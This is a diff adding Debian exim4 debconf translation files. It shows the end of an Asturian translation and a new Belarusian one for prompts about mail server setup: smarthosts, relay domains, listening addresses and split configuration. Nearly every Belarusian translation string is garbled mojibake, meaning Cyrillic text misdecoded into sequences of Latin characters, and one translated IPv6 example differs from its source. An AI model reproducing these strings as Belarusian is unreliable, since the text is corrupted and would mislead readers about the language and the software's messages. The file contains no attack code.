+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"La configuración concentrada adáutase meyor a grandes modificaciones y ye "
+"polo xeneral más estable, mientres que la configuración segmentada ufre un "
+"mou cómodu de facer pequeñes modificaciones pero ye más fráxil y podría "
+"frañase si se modifica ensin les debíes precauciones."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Alcontrará una discusión pormenorizao sobro la configuración segmentada y "
+"concentrada nos ficheros específicos de Debian en /usr/share/doc/exim4-base/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "¿Deseyes anubrir el nome de corréu llocal nos mensaxes salientes?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Les cabeceres de los mensaxes salientes puen reescribise pa que paeza que se "
+"xeneraren nún sistema distinu. Si escueyes esta opción reescibiránse "
+"'${mailname}', 'localhost' y '${dc_other_hostnames}' nel Dende, Retrucar a, "
+"Remitente y Camín de Retornu."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "formatu mbox en /var/mail"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "formatu Maildir nel direutoriu personal"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Mecanismu d'entrega pal corréu llocal:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim puedes atroxar el corréu entregáu llocalmente en distintos formatos. "
+"Los formatos más comunes son mbox y Maildir. El formatu mbox usa un únicu "
+"ficheru pa tol buzón de corréu que s'atroxa en /var/mail. Col formatu "
+"Maildir cada ún de los mensaxes atróxase nun ficheru distintu en ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Ten en cuenta que la mayoría de les ferramientas de corréu en Debian esperen "
+"que'l mecanismu d'entrega llocal seya a ficheros mbox na so configuración "
+"por omisión."
diff --git a/debian/po/be.po b/debian/po/be.po
new file mode 100644
index 0000000..4ac33c3
--- /dev/null
+++ b/debian/po/be.po
@@ -0,0 +1,636 @@
+# translation of exim4_debian_be.po to Belarusian (Official spelling)
+# Pavel Piatruk <piatruk.p@gmail.com>, 2008, 2009.
+# Hleb Rubanau <g.rubanau@gmail.com>, 2007,2009.
+# Copyright (C) 2007-2009 by
+# This file is distributed under the same license as the exim4-configure package.
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4_debian_be\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2009-02-19 02:38+0200\n"
+"Last-Translator: Pavel Piatruk <piatruk.p@gmail.com>\n"
+"Language-Team: Belarusian (Official spelling) <i18n@mova.org>\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Ці выдаліць недаÑÐ»Ð°Ð½Ñ‹Ñ Ð¿Ð°Ð²ÐµÐ´Ð°Ð¼Ð»ÐµÐ½Ð½Ñ– з чаргі?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"У дырÑкторыі чаргі Exim (/var/spool/exim4/input/) Ñ‘Ñць e-mail паведамленні, "
+"што ÑÑˆÑ‡Ñ Ð½ÐµÐ´Ð°Ñланы. Выдаленне Exim Ñпрычыніць Ñ–Ñ… заÑтацца недаÑланымі, "
+"пакуль Exim не будзе ÑžÑталÑваны зноў."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Калі не згадзіцеÑÑ, дырÑÐºÑ‚Ð¾Ñ€Ñ‹Ñ Ñ‡Ð°Ñ€Ð³Ñ– будзе пакінута, што дазволіць "
+"паведамленнÑм у чарзе быць даÑланымі паÑÐ»Ñ Ñ‚Ð°Ð³Ð¾, Ñк Exim будзе "
+"пераўÑталÑваны."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Пераналадзьце exim4-config, а не гÑÑ‚Ñ‹ пакет"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Ðаладкі Exim захоўваюцца Ñž аÑобным пакеце exim4-config. Каб пераналадзіць "
+"Exim4, выканайце 'dpkg-reconfigure exim4-config'."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "вузел ІнтÑрнÑÑ‚; пошта атрымліваецца Ñ– даÑылаецца проÑта праз SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "пошта даÑылаецца праз smarthost; прыём праз SMTP ці fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "пошта даÑылаецца праз smarthost; нÑма лакальнай пошты"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "толькі Ð´Ð°ÐºÐ°Ð»ÑŒÐ½Ð°Ñ Ð´Ð°Ñтаўка; не Ñž Ñеціве"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "пакуль не наладжваць"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "ÐÑÐ½Ð¾ÑžÐ½Ñ‹Ñ Ñ‚Ñ‹Ð¿Ñ‹ наладкі пошты:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Калі лаÑка, вызначце тып наладак паштовага Ñервера, што найбольш паÑуе "
+"задачам."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Машыны з дынамічным IP-адраÑам, у тым ліку з dialup-доÑтупам, могуць быць "
+"наладжаны на даÑылку зыходзÑчай пошты праз іншую машыну (ÑÐºÐ°Ñ Ð·Ð°Ð²ÐµÑ†Ñ†Ð° "
+"'smarthost'), бо шмат ÑÐºÑ–Ñ Ð¿Ð°ÑˆÑ‚Ð¾Ð²Ñ‹Ñ Ñерверы не прымаюць уваходзÑчую пошту з "
+"дынамічных IP, каб заÑцерагчыÑÑ Ð°Ð´ Ñпаму."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Машына з дынамічным IP адраÑам можа прыймаць улаÑную пошту, ці Ð»Ð°ÐºÐ°Ð»ÑŒÐ½Ð°Ñ "
+"даÑтаўка можа быць выключана цалкам (за вынÑткам пошты Ð´Ð»Ñ root Ñ– "
+"postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Ці Ñапраўды пакінуць паштовую ÑÑ–ÑÑ‚Ñму неналаджанай?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Пакуль Ð¿Ð°ÑˆÑ‚Ð¾Ð²Ð°Ñ ÑÑ–ÑÑ‚Ñма не наладжана, Ñна лічыцца пашкоджанай Ñ– не можа быць "
+"ÑкарыÑтана. Пазнейшае наладжванне можа быць зроблена або ўручную, або "
+"выкананнем 'dpkg-reconfigure exim4-config' Ñк root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Паштовае Ñ–Ð¼Ñ ÑÑ–ÑÑ‚Ñмы:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"'Паштовае імÑ' - даменнае Ñ–Ð¼Ñ Ð´Ð»Ñ Ð²Ñ‹Ð·Ð½Ð°Ñ‡ÑÐ½Ð½Ñ ('qualify') адраÑоў без "
+"даменнага імÑ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"ГÑта Ñ–Ð¼Ñ Ð¼Ð¾Ð¶Ð° быць ÑкарыÑтана іншымі праграмамі. Яно павінна быць адзіным, "
+"цалкам вызначаным даменным імем (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Значыць, калі паштовы Ð°Ð´Ñ€Ð°Ñ Ð»Ð°ÐºÐ°Ð»ÑŒÐ½Ð°Ð¹ машыны foo@example.org, карÑктнае "
+"значÑнне параметра будзе example.org."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"ГÑта Ñ–Ð¼Ñ Ð½Ðµ будзе з'ÑўлÑцца Ñž радку From: зыходзÑчых паведамленÑÑž, калі "
+"дазволены перазапіÑ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "ТакÑама дазволіць пошту Ñž:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"УвÑдзіце ÑÐ¿Ñ–Ñ Ñ€Ð°Ð·Ð´Ð·ÐµÐ»ÐµÐ½Ñ‹Ñ… знакам ';' даменаў атрымальнікаў, Ð´Ð»Ñ ÐºÐ¾Ð¶Ð½Ð°Ð³Ð° з "
+"каторых гÑта машына будзе лічыць ÑÑбе канцавым прызначÑннем. ГÑÑ‚Ñ‹Ñ Ð´Ð°Ð¼ÐµÐ½Ñ‹ "
+"звычайна завуцца лакальнымі. Ð›Ð°ÐºÐ°Ð»ÑŒÐ½Ð°Ñ Ð½Ð°Ð·Ð²Ð° вузла (${fqdn}) Ñ– 'localhost' "
+"ужо дададзены Ñž ÑпіÑ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Паводле Ñтандартных наладак уÑе Ð»Ð°ÐºÐ°Ð»ÑŒÐ½Ñ‹Ñ Ð´Ð°Ð¼ÐµÐ½Ñ‹ апрацоўваюцца аднолькава. "
+"Калі Ñž ÑкаÑці лакальных даменаў вызначаны a.example ды b.example, "
+"паведамленні да acc@a.example ды acc@b.example будуць мець аднолькавы пункт "
+"прызначÑннÑ. Калі патрÑбна, каб Ñ€Ð¾Ð·Ð½Ñ‹Ñ Ð»Ð°ÐºÐ°Ð»ÑŒÐ½Ñ‹Ñ Ð´Ð°Ð¼ÐµÐ½Ñ‹ апрацоўваліÑÑ Ñ€Ð¾Ð·Ð½Ñ‹Ð¼ "
+"чынам, неабходна дадаткова выправіць файлы наладак."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Дамены, Ð´Ð»Ñ Ñкіх Ð´Ð°Ð·Ð²Ð¾Ð»ÐµÐ½Ð°Ñ Ð¿ÐµÑ€Ð°Ð´Ð°Ñ‡Ð° пошты:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"УвÑдзіце ÑÐ¿Ñ–Ñ Ñ€Ð°Ð·Ð´Ð·ÐµÐ»ÐµÐ½Ñ‹Ñ… знакам ';' даменаў атрымальнікаў, Ð´Ð»Ñ Ñкіх гÑÑ‚Ð°Ñ "
+"ÑÑ–ÑÑ‚Ñма будзе перапраўлÑць пошту (выÑтупаючы, напрыклад, у ÑкаÑці "
+"Ñ€Ñзервовага MX альбо паштовага шлюзу). ГÑта значыць, што ÑÑ–ÑÑ‚Ñма будзе "
+"прымаць пошту Ð´Ð»Ñ Ð³ÑÑ‚Ñ‹Ñ… даменаў з уÑÑго Ñвету, Ñ– даÑтаўлÑць Ñе паводле "
+"лакальных правіл. "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr ""
+"Ðе ўводзьце тут дамены, раней Ð¿Ð°Ð·Ð½Ð°Ñ‡Ð°Ð½Ñ‹Ñ Ñк лакальныÑ. ВыкарыÑтанне "
+"ÑÑ–Ð¼Ð²Ð°Ð»ÑŒÐ½Ñ‹Ñ ÑˆÐ°Ð±Ð»Ð¾Ð½Ð°Ñž дазволена. "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Машыны, Ð´Ð»Ñ Ñкіх Ð´Ð°Ð·Ð²Ð¾Ð»ÐµÐ½Ð°Ñ Ð¿ÐµÑ€Ð°Ð´Ð°Ñ‡Ð° пошты"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"УвÑдзіце ÑÐ¿Ñ–Ñ Ð¿Ð°Ð´Ð·ÐµÐ»ÐµÐ½Ñ‹Ñ… знакам ';' дыÑпазонаў IP-адраÑоў, Ð´Ð»Ñ Ñкіх гÑÑ‚Ð°Ñ "
+"ÑÑ–ÑÑ‚Ñма будзе перадаваць пошту ва ÑžÑÑ–Ñ… выпадках, працуючы Ñк smarthost. "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"ТрÑба выкарыÑтоўваць Ñтандартны адраÑна-прÑфікÑны фармат (г.зн. "
+"194.222.242.0/24 або 5f04:1200:836f::/48)"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Калі гÑÑ‚Ð°Ñ ÑÑ–ÑÑ‚Ñма не будзе працаваць у ÑкаÑці smarthost ні Ð´Ð»Ñ Ñкога іншага "
+"вузлу, пакіньце ÑÐ¿Ñ–Ñ Ð¿ÑƒÑтым."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Бачнае Ñ–Ð¼Ñ Ð´Ð°Ð¼ÐµÐ½Ñƒ Ð´Ð»Ñ Ð»Ð°ÐºÐ°Ð»ÑŒÐ½Ñ‹Ñ… карыÑтальнікаў"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Уключана опцыÑ, ÑÐºÐ°Ñ Ð¿Ñ€Ñ‹Ð¼ÑƒÑˆÐ°Ðµ хаваць лакальнае паштовае Ñ–Ð¼Ñ Ñž пошце, ÑÐºÐ°Ñ "
+"накіроўваецца вонкі. У такім выпадку неабходна вызначыць Ñ–Ð¼Ñ Ð´Ð°Ð¼ÐµÐ½Ñƒ, Ñкое "
+"муÑіць выкарыÑтоўвацца Ñž ÑкаÑці даменнай чаÑткі паштовых адраÑоў лакальных "
+"карыÑтальнікаў."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "IP-Ð°Ð´Ñ€Ð°Ñ Ð°Ð»ÑŒÐ±Ð¾ назва вузла вонкавага smarthost:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"УвÑдзіце IP-Ð°Ð´Ñ€Ð°Ñ Ð°Ð±Ð¾ назву вузла паштовага Ñервера, Ñкі муÑіць "
+"выкарыÑтоўвацца гÑтай ÑÑ–ÑÑ‚Ñмай у ÑкаÑці smarthost Ð´Ð»Ñ Ð¿Ð¾ÑˆÑ‚Ñ‹, што "
+"накіроўваецца вонкі. Калі smarthost прымае Вашую пошту толькі праз порт, "
+"адрозны ад TCP/25, дадайце два двухкроп'Ñ Ñ– нумар порту (напрыклад: "
+"smarthost.example::587 або 192.168.254.254::2525). Двухкроп'Ñ– Ñž адраÑах IPv6 "
+"муÑÑць быць падвоеныÑ. "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Калі smarthost патрабуе аўтарызацыі, прачытайце Ð´Ð°Ñ‚Ñ‹Ñ‡Ð½Ñ‹Ñ Debian файлы README "
+"Ñž дырÑкторыі /usr/share/doc/exim4-base, ÑÐºÑ–Ñ ÑžÑ‚Ñ€Ñ‹Ð¼Ð»Ñ–Ð²Ð°ÑŽÑ†ÑŒ Ð°Ð´Ð¿Ð°Ð²ÐµÐ´Ð½Ñ‹Ñ "
+"інÑтрукцыі па наладцы. "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Ðтрымальнік пошты Ð´Ð»Ñ root ды postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Пошта Ð´Ð»Ñ ÐºÐ°Ñ€Ñ‹Ñтальнікаў 'postmaster' ды 'root' Ñ– іншых ÑÑ–ÑÑ‚Ñмных "
+"карыÑтальнікаў муÑіць быць Ð¿ÐµÑ€Ð°Ð½Ð°ÐºÑ–Ñ€Ð°Ð²Ð°Ð½Ð°Ñ Ð½Ð° Ð°Ð´Ñ€Ð°Ñ ÐºÐ°Ñ€Ñ‹Ñтальніка, Ñкі "
+"з'ÑўлÑецца Ñапраўдным адмініÑтратарам ÑÑ–ÑÑ‚Ñмы."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Калі гÑтае поле не будзе запоўнена, Ð°Ð´Ð¿Ð°Ð²ÐµÐ´Ð½Ð°Ñ Ð¿Ð¾ÑˆÑ‚Ð° будзе захоўвацца Ñž "
+"файле /var/mail/mail, але гÑта не Ñ€Ñкамендуецца. "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Майце на ўвазе, што пошту карыÑтальніка 'postmaster' Ñ‚Ñ€Ñба чытаць на той "
+"ÑÑ–ÑÑ‚Ñме, куды Ñна была накіраванаÑ, а не перанакіроўваць кудыÑці ÑшчÑ. Таму "
+"найменей адзін карыÑтальнік з пазначаных вышÑй не муÑіць перанакіроўваць "
+"Ñваю пошту па-за межы гÑтай машыны. ПрÑÑ„Ñ–ÐºÑ 'real-' можа быць выкарыÑтаны, "
+"каб прымуÑова выконваць лакальную даÑтаўку. "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr ""
+"Калі Ð’Ñ‹ ўвÑдзеце некалькі імён карыÑтальнікаў, варта раздзÑліць Ñ–Ñ… прабеламі"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "IP-адраÑÑ‹, на Ñкіх варта чакаць уваходзÑчых далучÑннÑÑž SMTP:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"УвÑдзіце ÑÐ¿Ñ–Ñ Ð¿Ð°Ð´Ð·ÐµÐ»ÐµÐ½Ñ‹Ñ… знакам ';' IP-адраÑоў. ДÑман праÑÐ»ÑƒÑ…Ð¾ÑžÐ²Ð°Ð½Ð½Ñ SMTP "
+"будзе чакаць далучÑннÑÑž на ÑžÑе Ð¿ÐµÑ€Ð°Ð»Ñ–Ñ‡Ð°Ð½Ñ‹Ñ Ð°Ð´Ñ€Ð°ÑÑ‹. "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"ПуÑтое поле прымуÑіць Exim праÑлухоўваць падключÑнні на ÑžÑÑ–Ñ… наÑўных "
+"Ñеткавых інтÑрфÑйÑах."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Калі гÑÑ‚Ð°Ñ ÑÑ–ÑÑ‚Ñма атрымлівае пошту толькі ад лакальных Ñлужбаў, Ñ– нічога не "
+"атрымлівае з іншых вузлоў, лепей забараніць Ð²Ð¾Ð½ÐºÐ°Ð²Ñ‹Ñ Ð´Ð°Ð»ÑƒÑ‡Ñнні да лакальнага "
+"дÑману Exim. У выраз 'Ð»Ð°ÐºÐ°Ð»ÑŒÐ½Ñ‹Ñ Ñлужбы' ўваходзÑць Ñ– Ð¿Ð°ÑˆÑ‚Ð¾Ð²Ñ‹Ñ Ð¿Ñ€Ð°Ð³Ñ€Ð°Ð¼Ñ‹ "
+"(MUA), ÑÐºÑ–Ñ Ð´Ð°Ð»ÑƒÑ‡Ð°ÑŽÑ†Ñ†Ð° толькі да localhost, а такÑама fetchmail. Каб "
+"забараніць праÑлухоўванне публічных Ñеткавых інтÑрфÑйÑаў, увÑдзіце тут "
+"127.0.0.1. "
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Выконваць мінімальную колькаÑць DNS-запытаў (Dial-on-Demand)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"У звычайным Ñ€Ñжыме працы Exim робіць праверкі DNS Ð¿Ð°Ð´Ñ‡Ð°Ñ Ð·Ð°Ð¿ÑƒÑку, а такÑама "
+"Ð¿Ð°Ð´Ñ‡Ð°Ñ Ð°Ñ‚Ñ€Ñ‹Ð¼Ð°Ð½Ð½Ñ Ð°Ð»ÑŒÐ±Ð¾ адпраўкі пошты. ГÑта патрÑбна Ð´Ð»Ñ Ð²ÑÐ´Ð·ÐµÐ½Ð½Ñ Ð¶ÑƒÑ€Ð½Ð°Ð»Ð°Ñž Ñ– "
+"Ð´Ð·ÐµÐ»Ñ Ñ‚Ð°Ð³Ð¾, каб зменшчыць колькаÑць жорÑтка запраграмаваных значÑннÑÑž у "
+"наладках."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Калі гÑÑ‚Ð°Ñ ÑÑ–ÑÑ‚Ñма не Ð¿Ð°Ð´ÐºÐ»ÑŽÑ‡Ð°Ð½Ð°Ñ ÑžÐ²ÐµÑÑŒ Ñ‡Ð°Ñ Ð´Ð° паўнавартаÑнай DNS-Ñлужбы "
+"(напрыклад, калі ўжываецца dialup-злучÑнне з Ñецівам па Ñхеме dial-on-"
+"demand), такі Ñ€Ñжым працы можа мець Ð½ÐµÐ¿Ð°Ð¶Ð°Ð´Ð°Ð½Ñ‹Ñ Ð½Ð°ÑтупÑтвы. Ðапрыклад, "
+"запуÑк Exim альбо праглÑданне чаргі (нават калі Ñž ёй нÑма паведамленнÑÑž) "
+"можа быць прычынай аплочанага dial-up злучÑннÑ."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Калі Ð’Ð°ÑˆÐ°Ñ ÑÑ–ÑÑ‚Ñма выкарыÑтоўвае Ñхему Dial-on-Demand, пазначце гÑÑ‚Ñ‹ "
+"параметр. Калі ÑÑ–ÑÑ‚Ñма мае Ñталае злучÑнне з Ñецівам, гÑÑ‚Ñ‹ параметр Ñ‚Ñ€Ñба "
+"адключыць. "
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Ðаладкі паштовага Ñервера"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Размеркаваць наладкі па маленькіх файлах?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
